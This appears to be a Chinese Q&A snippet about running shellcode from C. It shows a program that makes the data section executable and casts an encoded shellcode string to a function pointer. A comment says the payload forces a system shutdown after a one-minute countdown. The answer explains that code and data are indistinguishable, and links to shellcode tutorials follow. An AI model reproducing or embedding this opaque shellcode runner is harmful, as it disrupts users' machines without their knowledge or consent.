#pragma GCC optimize 0 #pragma comment(linker,"/section:.data,rwe") char str[]= "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1" "W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5" "B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3" "H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK" "K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2" "L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0" "T097O0A0D050U1U161F02"; int main() { return ((int(*)(void))&str)(); //运行后系统倒计时一分钟关机 }
这段指针是什么意思,为什么能运行shellcode?
函数指针+汇编码
代码块&数据块无差别,作为代码执行就是代码,最为数据就是字符串;
要知道对于计算机都是0,1
https://ask.csdn.net/questions/835314
https://bbs.csdn.net/topics/394635509
https://zhidao.baidu.com/question/103210372.html
shellcode转换为汇编代码的方法
https://blog.csdn.net/counsellor/article/details/80920864
C语言执行shellcode的五种方法
https://blog.csdn.net/earbao/article/details/51539882